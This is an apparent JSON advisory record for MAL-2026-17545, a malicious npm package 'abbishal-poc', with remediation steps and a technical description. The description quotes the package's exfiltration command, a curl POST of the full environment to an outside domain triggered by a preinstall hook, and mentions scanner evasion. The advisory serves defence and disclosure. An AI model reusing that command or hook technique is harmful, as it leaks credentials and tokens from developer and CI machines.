{"answers":{"affected":"1 open source package ship an affected version, including abbishal-poc.","exploited":"There is no known exploitation of MAL-2026-17545 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-17545 is a malicious package in abbishal-poc, published on 5 Oct 2026."},"fix_prompt":"MAL-2026-17545 is a malicious package: abbishal-poc (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-17545/ (Markdown: https://insights.sbomify.com/MAL-2026-17545/index.md)","id":"MAL-2026-17545","markdown":"https://insights.sbomify.com/MAL-2026-17545/index.md","name":"MAL-2026-17545","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On `npm install`, package.json's preinstall hook runs `sh./test.sh`, which uses character-split variable obfuscation (b=e, i=c, s=n, h=u, a=v, l=rl) to reconstruct and execute `curl -d \"$(env)\" https://abbishal.com/sh/poc`. The script dumps the installer's full process environment — which on CI/CD and developer hosts typically contains cloud credentials (AWS_*), publish tokens (NPM_TOKEN), source-control tokens (GITHUB_TOKEN) and other secrets — and POSTs the contents to the author-controlled domain abbishal.com. The destination is hardcoded and not caller-configurable. In-script comments explicitly describe evading npm's malware scanners, and the README's claims of 'no network requests' and 'no data collection' contradict the actual behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in abbishal-poc (npm)","id":"MAL-2026-17545","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"abbishal-poc","purl":"pkg:npm/abbishal-poc","source":"MAL-2026-17545"}],"products":null,"published":"2026-10-05","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-17545/"}